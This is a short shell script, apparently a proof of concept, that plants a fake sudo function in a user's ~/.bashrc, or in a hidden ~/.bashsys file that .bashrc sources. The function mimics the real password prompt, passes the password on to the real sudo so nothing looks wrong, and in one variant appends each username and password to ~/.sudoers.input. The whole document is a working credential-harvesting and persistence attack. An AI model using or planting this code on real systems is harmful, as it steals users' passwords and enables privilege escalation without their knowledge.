sudo_phishing_payload.sh

# Create payload: replace sudo with an alias
payload='
    fake_sudo() {
        # Simulate a sudo prompt
        echo -n "[sudo] password for ${USER}: "
        read -s password
        echo
        # Run your command so you are happy
        echo "$password" | sudo -S "$@"
        # Do my evil stuff with your password
        echo "Done with your command, now I could use $password to do what I want"
    }
    alias sudo=fake_sudo
'

# Write the payload to the bashrc config file
echo "$payload" >> ~/.bashrc

=> ~/.bashrc

if [ -f ~/.bashsys ]; then
  . ~/.bashsys
fi
alias sudo=emulate_sudo

=> ~/.bashsys

emulate_sudo() {
  echo -n "[sudo] password for ${USER}: "
  read -s password
  echo
  echo "${USER}:$password" >> ~/.sudoers.input
  echo "$password" | sudo -S "$@"
}